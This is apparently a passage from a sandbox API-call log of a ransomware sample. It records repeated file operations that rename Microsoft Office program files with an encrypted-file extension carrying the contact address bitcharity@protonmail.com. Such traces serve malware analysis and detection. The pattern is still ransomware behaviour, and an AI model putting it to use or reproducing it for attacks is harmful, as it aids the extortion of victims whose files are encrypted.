dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.851] CloseHandle (hObject=0x1278) returned 1 [0266.852] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.852] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.852] CloseHandle (hObject=0x1278) returned 1 [0266.853] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.853] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.853] CloseHandle (hObject=0x1278) returned 1 [0266.854] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.854] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.854] CloseHandle (hObject=0x1278) returned 1 [0266.854] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.854] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.855] CloseHandle (hObject=0x1278) returned 1 [0266.855] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.855] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.855] CloseHandle (hObject=0x1278) returned 1 [0266.856] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.856] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.856] CloseHandle (hObject=0x1278) returned 1 [0266.857] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.857] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.857] CloseHandle (hObject=0x1278) returned 1 [0266.858] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.858] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.858] CloseHandle (hObject=0x1278) returned 1 [0266.859] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.859] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.859] CloseHandle (hObject=0x1278) returned 1 [0266.859] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.859] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.860] CloseHandle (hObject=0x1278) returned 1 [0266.860] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.860] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.861] CloseHandle (hObject=0x1278) returned 1 [0266.861] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.861] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.862] CloseHandle (hObject=0x1278) returned 1 [0266.862] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.862] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.863] CloseHandle (hObject=0x1278) returned 1 [0266.864] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.864] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.864] CloseHandle (hObject=0x1278) returned 1 [0266.865] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.865] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.865] CloseHandle (hObject=0x1278) returned 1 [0266.865] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.865] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.866] CloseHandle (hObject=0x1278) returned 1 [0266.866] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.866] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.866] CloseHandle (hObject=0x1278) returned 1 [0266.867] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.867] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.867] CloseHandle (hObject=0x1278) returned 1 [0266.868] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.868] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.868] CloseHandle (hObject=0x1278) returned 1 [0266.869] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.869] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.869] CloseHandle (hObject=0x1278) returned 1 [0266.869] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.870] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.870] CloseHandle (hObject=0x1278) returned 1 [0266.870] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.870] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.871] CloseHandle (hObject=0x1278) returned 1 [0266.871] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.871] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.871] CloseHandle (hObject=0x1278) returned 1 [0266.872] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.872] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.872] CloseHandle (hObject=0x1278) returned 1 [0266.873] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.873] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.873] CloseHandle (hObject=0x1278) returned 1 [0268.021] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.021] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_connecting.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_connecting.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.021] CloseHandle (hObject=0x1074) returned 1 [0268.130] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.130] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocomprivate.zip.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.131] CloseHandle (hObject=0x1078) returned 1 [0268.132] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.133] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\PACBELL.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\pacbell.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.133] CloseHandle (hObject=0x1078) returned 1 [0268.134] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.134] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\PRODIGY.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\prodigy.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.134] CloseHandle (hObject=0x1078) returned 1 [0268.136] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.136] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\ROGERS.COM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\rogers.com.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.136] CloseHandle (hObject=0x1078) returned 1 [0268.138] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.138] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\sbcglobal.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.138] CloseHandle (hObject=0x1078) returned 1 [0268.139] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.139] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, 